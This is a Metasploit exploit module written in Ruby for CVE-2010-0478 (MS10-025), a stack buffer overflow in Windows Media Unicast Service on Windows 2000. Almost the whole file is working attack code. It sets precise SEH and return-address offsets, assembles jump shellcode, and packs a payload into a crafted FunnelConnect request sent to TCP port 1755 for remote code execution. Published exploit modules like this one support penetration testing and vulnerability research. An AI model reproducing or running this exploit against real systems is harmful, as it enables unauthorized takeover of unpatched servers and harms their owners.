##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Windows Media
				Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
				crafted FunnelConnect request, an attacker can execute arbitrary code
				under the "NetShowServices" user account. Windows Media Services 4.1 ships
				with Windows 2000 Server, but is not installed by default.

				NOTE: This service does NOT restart automatically. Successful, as well as
				unsuccessful exploitation attempts will kill the service which prevents
				additional attempts.
			},
			'Author'         => 'jduck',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2010-0478' ],
					[ 'OSVDB', '63726' ],
					[ 'MSB', 'MS10-025' ],
					[ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English',
						{
							# Unpatched:
							# SEH handler offset is 840
							# Stack return is at 652
							# "Patched":
							# SEH handler offset is 832
							'Offset' => 840,
							'SEHOffsets' => [ 832, 840 ],
							'EIPOffset' => 652+3,
							'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 13 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(1755)
			], self.class)
	end

	def exploit
		@pkts = 0
		cmd_buf = ''

		# LinkViewerToMacConnect
		subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
		#subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
		#subscriber = "Spooooon!"
		subscriber << "\x00"
		subscriber = Rex::Text.to_unicode(subscriber)
		cmd_buf << make_command(0x30001, subscriber)

		# LinkViewerToMacConnectFunnel
		name = ''
		name << "\\\\"
		name << rand_text((target['Offset'] + 4 + 5) / 2)
		name << "\\"
		name << "\x00"

		# Convert it to Unicode..
		name = Rex::Text.to_unicode(name)
		#stuff = Rex::Text.pattern_create((target['Offset'] + 4 + 5) + 4)
		stuff = rand_text((target['Offset'] + 4 + 5) + 4)
		stuff.slice!(0,4)
		name[4,stuff.length] = stuff

		# Insert the payload..
		name[4,payload.encoded.length] = payload.encoded

		# Build the SEH frame that leads to the payload...
		target['SEHOffsets'].each { |off|
			seh = ''
			case off
			when 832
				code = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-652").encode_string
				code << rand_text(8 - code.length)
				name[off-8,code.length] = code
				seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-8").encode_string
				seh << rand_text(2)
				seh << [target.ret].pack('V')
			when 840
				seh << generate_seh_record(target.ret)
				asm = "add edi, 0x04\njmp edi"
				seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
			end
			name[off,seh.length] = seh
		}

		# Make sure the return address points at an invalid address
		off = target['EIPOffset']
		name[off,1] = [0x80 + rand(0x7f)].pack('C')

		# Add it to the command buffer..
		cmd_buf << make_command(0x30002, name)

		# Build the TcpMessageHeader ..
		pkt = make_tcpmsghdr(cmd_buf)

		# Handle the transacation..
		connect
		print_status("Sending crafy commands (#{pkt.length} bytes) ...")
		sock.put(pkt)

		handler
		disconnect
	end


	#
	# Create a TcpMessageHeader from the supplied data
	#
	def make_tcpmsghdr(data)
		len = data.length
		# The server doesn't like packets that are bigger...
		fail_with(Exploit::Failure::BadConfig, 'Message length is too big') if (len > 0x1000)
		len /= 8

		# Pack the pieces in ...
		pkt = [
			1,0,0,0,           # rep, ver, verMinor, pad
			0xb00bface,        # session id (nice)
			data.length + 16,  # msg len
			0x20534d4d,        # seal ("MMS ")
			len + 2,           # chunkCount
			@pkts, 0,          # seq, MBZ
			rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
		].pack('CCCCVVVVvvVV')

		# Add the data
		pkt << data

		# Pad it to 8 bytes...
		left = data.length % 8
		pkt << ("\x00" * (8 - left)) if (left > 0)

		pkt
	end


	#
	# Create a command packet
	#
	def make_command(msg_id, extra)
		# Two opcodes, get handled differently..
		case msg_id
		when 0x30001
			data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')

		when 0x30002
			data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')

		end

		# Put some data on...
		data << extra

		# Pad it to 8 bytes...
		left = data.length % 8
		data << ("\x00" * (8 - left)) if (left > 0)

		# Combine the pieces..
		pkt = [
			(data.length / 8) + 1,  # chunkLen
			msg_id                  # msg ID
		].pack('VV')
		pkt << data

		pkt
	end

end
